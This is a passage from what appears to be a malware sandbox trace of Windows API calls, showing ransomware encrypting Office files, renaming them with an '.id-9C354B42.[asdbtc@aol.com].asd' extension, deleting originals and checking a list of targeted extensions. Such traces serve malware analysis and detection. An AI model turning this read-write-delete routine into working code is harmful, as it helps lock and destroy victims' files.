(hObject=0x1e0) returned 1 [0048.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0048.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.469] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.469] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.469] GetLastError () returned 0x0 [0048.469] ReadFile (in: hFile=0x1e0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x795, lpOverlapped=0x0) returned 1 [0048.471] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0048.472] ReadFile (in: hFile=0x1e0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.472] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0048.472] SetEndOfFile (hFile=0x1e4) returned 1 [0048.472] CloseHandle (hObject=0x1e4) returned 1 [0048.475] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.475] SetEndOfFile (hFile=0x1e0) returned 1 [0048.476] CloseHandle (hObject=0x1e0) returned 1 [0048.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.476] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0048.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.476] lstrlenW (lpString=".doc") returned 4 [0048.476] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0048.476] lstrlenW (lpString=".docx") returned 5 [0048.476] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0048.476] lstrlenW (lpString=".pdf") returned 4 [0048.477] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0048.477] lstrlenW (lpString=".xls") returned 4 [0048.477] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0048.477] lstrlenW (lpString=".xlsx") returned 5 [0048.477] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0048.477] lstrlenW (lpString=".ppt") returned 4 [0048.477] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.477] lstrlenW (lpString=".zip") returned 4 [0048.477] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0048.477] lstrlenW (lpString=".rar") returned 4 [0048.477] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0048.477] lstrlenW (lpString=".bz2") returned 4 [0048.477] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0048.477] lstrlenW (lpString=".7z") returned 3 [0048.477] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.477] lstrlenW (lpString=".dbf") returned 4 [0048.477] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.477] lstrlenW (lpString=".1cd") returned 4 [0048.477] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.477] lstrlenW (lpString=".jpg") returned 4 [0048.477] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.477] lstrlenW (lpString=".doc") returned 4 [0048.477] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0048.477] lstrlenW (lpString=".docx") returned 5 [0048.477] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0048.477] lstrlenW (lpString=".pdf") returned 4 [0048.478] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0048.478] lstrlenW (lpString=".xls") returned 4 [0048.478] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0048.478] lstrlenW (lpString=".xlsx") returned 5 [0048.478] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0048.478] lstrlenW (lpString=".ppt") returned 4 [0048.478] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0048.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.478] lstrlenW (lpString=".zip") returned 4 [0048.478] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0048.478] lstrlenW (lpString=".rar") returned 4 [0048.478] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0048.478] lstrlenW (lpString=".bz2") returned 4 [0048.478] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0048.478] lstrlenW (lpString=".7z") returned 3 [0048.478] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0048.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.478] lstrlenW (lpString=".dbf") returned 4 [0048.478] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0048.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.478] lstrlenW (lpString=".1cd") returned 4 [0048.478] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0048.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0048.478] lstrlenW (lpString=".jpg") returned 4 [0048.478] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0048.478] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.478] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0048.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.480] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=819) returned 1 [0048.480] CloseHandle (hObject=0x1e0) returned 1 [0048.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0048.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.481] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.481] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.481] GetLastError () returned 0x0 [0048.481] ReadFile (in: hFile=0x1e0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x333, lpOverlapped=0x0) returned 1 [0048.483] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x340, lpOverlapped=0x0) returned 1 [0048.484] ReadFile (in: hFile=0x1e0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.484] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0048.484] SetEndOfFile (hFile=0x1e4) returned 1 [0048.484] CloseHandle (hObject=0x1e4) returned 1 [0048.485] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.485] SetEndOfFile (hFile=0x1e0) returned 1 [0048.486] CloseHandle (hObject=0x1e0) returned 1 [0048.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0048.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.486] lstrlenW (lpString=".doc") returned 4 [0048.486] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.486] lstrlenW (lpString=".docx") returned 5 [0048.487] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0048.487] lstrlenW (lpString=".pdf") returned 4 [0048.487] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString=".xls") returned 4 [0048.487] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString=".xlsx") returned 5 [0048.487] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0048.487] lstrlenW (lpString=".ppt") returned 4 [0048.487] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.487] lstrlenW (lpString=".zip") returned 4 [0048.487] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.487] lstrlenW (lpString=".rar") returned 4 [0048.487] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString=".bz2") returned 4 [0048.487] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString=".7z") returned 3 [0048.487] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.487] lstrlenW (lpString=".dbf") returned 4 [0048.487] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.487] lstrlenW (lpString=".1cd") returned 4 [0048.487] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.487] lstrlenW (lpString=".jpg") returned 4 [0048.487] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.487] lstrlenW (lpString=".doc") returned 4 [0048.487] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.487] lstrlenW (lpString=".docx") returned 5 [0048.488] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0048.488] lstrlenW (lpString=".pdf") returned 4 [0048.488] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.488] lstrlenW (lpString=".xls") returned 4 [0048.488] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.488] lstrlenW (lpString=".xlsx") returned 5 [0048.488] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0048.488] lstrlenW (lpString=".ppt") returned 4 [0048.488] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.488] lstrlenW (lpString=".zip") returned 4 [0048.488] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.488] lstrlenW (lpString=".rar") returned 4 [0048.488] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.488] lstrlenW (lpString=".bz2") returned 4 [0048.488] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.488] lstrlenW (lpString=".7z") returned 3 [0048.488] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.488] lstrlenW (lpString=".dbf") returned 4 [0048.488] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.488] lstrlenW (lpString=".1cd") returned 4 [0048.488] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0048.488] lstrlenW (lpString=".jpg") returned 4 [0048.488] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.488] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.489] lstrlenW (lpString="SETUP.XML") returned 9 [0048.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.489] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2624) returned 1 [0048.489] CloseHandle (hObject=0x1e0) returned 1 [0048.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0048.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.490] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.490] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.490] GetLastError () returned 0x0 [0048.490] ReadFile (in: hFile=0x1e0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0xa40, lpOverlapped=0x0) returned 1 [0048.492] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xa50, lpOverlapped=0x0) returned 1 [0048.493] ReadFile (in: hFile=0x1e0, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.493] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.493] SetEndOfFile (hFile=0x1e4) returned 1 [0048.493] CloseHandle (hObject=0x1e4) returned 1 [0048.494] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.495] SetEndOfFile (hFile=0x1e0) returned 1 [0048.495] CloseHandle (hObject=0x1e0) returned 1 [0048.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.496] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0048.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.496] lstrlenW (lpString=".doc") returned 4 [0048.496] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.496] lstrlenW (lpString=".docx") returned 5 [0048.496] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.496] lstrlenW (lpString=".pdf") returned 4 [0048.497] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.497] lstrlenW (lpString=".xls") returned 4 [0048.497] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.497] lstrlenW (lpString=".xlsx") returned 5 [0048.497] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.497] lstrlenW (lpString=".ppt") returned 4 [0048.497] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.497] lstrlenW (lpString=".zip") returned 4 [0048.497] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.497] lstrlenW (lpString=".rar") returned 4 [0048.497] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.497] lstrlenW (lpString=".bz2") returned 4 [0048.497] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.497] lstrlenW (lpString=".7z") returned 3 [0048.497] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.497] lstrlenW (lpString=".dbf") returned 4 [0048.497] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.497] lstrlenW (lpString=".1cd") returned 4 [0048.497] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.497] lstrlenW (lpString=".jpg") returned 4 [0048.497] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.498] lstrlenW (lpString=".doc") returned 4 [0048.498] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.498] lstrlenW (lpString=".docx") returned 5 [0048.498] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.498] lstrlenW (lpString=".pdf") returned 4 [0048.498] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.498] lstrlenW (lpString=".xls") returned 4 [0048.498] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.498] lstrlenW (lpString=".xlsx") returned 5 [0048.498] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.498] lstrlenW (lpString=".ppt") returned 4 [0048.498] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.498] lstrlenW (lpString=".zip") returned 4 [0048.498] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.498] lstrlenW (lpString=".rar") returned 4 [0048.498] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.498] lstrlenW (lpString=".bz2") returned 4 [0048.498] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.498] lstrlenW (lpString=".7z") returned 3 [0048.498] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.498] lstrlenW (lpString=".dbf") returned 4 [0048.498] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.498] lstrlenW (lpString=".1cd") returned 4 [0048.499] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0048.499] lstrlenW (lpString=".jpg") returned 4 [0048.499] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.499] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.499] lstrlenW (lpString="ExcelMUI.XML") 